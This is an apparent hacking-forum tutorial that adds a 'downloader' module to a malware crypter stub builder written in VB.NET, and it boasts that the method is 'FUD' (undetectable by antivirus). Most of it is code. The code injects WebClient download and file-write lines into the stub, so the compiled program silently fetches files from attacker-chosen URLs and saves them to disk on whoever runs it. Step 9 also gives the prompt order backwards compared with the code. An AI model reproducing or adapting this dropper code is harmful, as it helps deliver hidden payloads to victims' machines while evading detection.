(adsbygoogle = window.adsbygoogle || []).push({}); This tut assumes you already have a compilable stub system working. This is only an addon, nothing more. If you use this method, you must add me to the credits line(I know you all won't bother though :sad. This method was FUD as of May 1st.

Here are the steps:

1. Add another tab or skip this step.
2. Add a listview and two buttons. (lstdl , buton6, button7).
3. Add two columns to the listview, keep the default names, but change their text to: Files, Location to be downloaded to.

4. Click one of the buttons(this button will be used to add a URL to the queue. Add this code to it:

    Dim add As String = InputBox("Enter URL in the proper format: ", "Enter URL")

  If add = Nothing Then

    MessageBox.Show("No URL was added", "No URL")

  ElseIf add.Contains("https://") And add <> Nothing Then

    Dim loc As String = InputBox("Enter location you want the file to be downloaded:", "Location")

    Dim str(2) As String

    Dim itm As ListViewItem

    str(0) = add

    str(1) = loc



    itm = New ListViewItem(str)

    lstdl.Items.Add(itm)

  Else

    MessageBox.Show("Incorrect URL formatting, please make sure" + vbNewLine + "that the url is in the format:" + vbNewLine + "https://www.somesite.com", "Invalid")

  End If

5. Add this to the other buttons(the remove file button):

     If lstdl.SelectedItems.Count > 0 Then

    For i = 0 To lstdl.SelectedItems.Count - 1

    lstdl.Items.Remove(lstdl.SelectedItems(i))

    Next

  Else



    MessageBox.Show("Please Select a File to remove", "Remove")

  End If

6. This next step is important. In your stub code, add create a new line and put this in it:

    download

Exactly as it is, without quotations.

7. Now, in your button to compile your stub(I assume you already have one, add this:

      Dim download As String = Nothing

    If chk3.Checked = True Then

    If lstdl.Items.Count <> 0 Then

    Dim adding As String = "Dim test As Net.WebClient = New Net.WebClient()" + vbNewLine + "Dim test2 as Byte()= Nothing"



    For i = 0 To lstdl.Items.Count - 1

    If i = 0 Then

    adding = adding + vbNewLine + "test2 = test.DownloadData(" + Chr(34) + lstdl.Items(i).Text + Chr(34) + ")"

    adding = adding + vbNewLine + "System.IO.File.WriteAllBytes(" + Chr(34) + lstdl.Items(i).SubItems(1).Text + Chr(34) + "," + "test2)"



    Else

    adding = adding + vbNewLine + "test2 = test.DownloadData(" + Chr(34) + lstdl.Items(i).Text + Chr(34) + ")"

    adding = adding + vbNewLine + "System.IO.File.WriteAllBytes(" + Chr(34) + lstdl.Items(i).SubItems(1).Text + Chr(34) + "," + "test2)"

    End If



    Next

    tdes = tdes.Replace("download", adding)



    Else

    tdes = tdes.Replace("download", "")



    End If



    Else

    tdes = tdes.Replace("download", "")



    End If

8. Add this code as a global variable, with your file that is in the resources(replace "des" with your file name):

    Dim tdes As String = My.Resources.[b]des[/b]

9. You are done. When adding a URL, in the first pop up, put the location you want it to be downloaded to, and in the next box, put the URL of the file to be downloaded.

Screenshot of finished product:
You must login or register to view this content.

[size=medium]If you use this, remember to credit ME for this method and code. Don't be a leecher.[/size]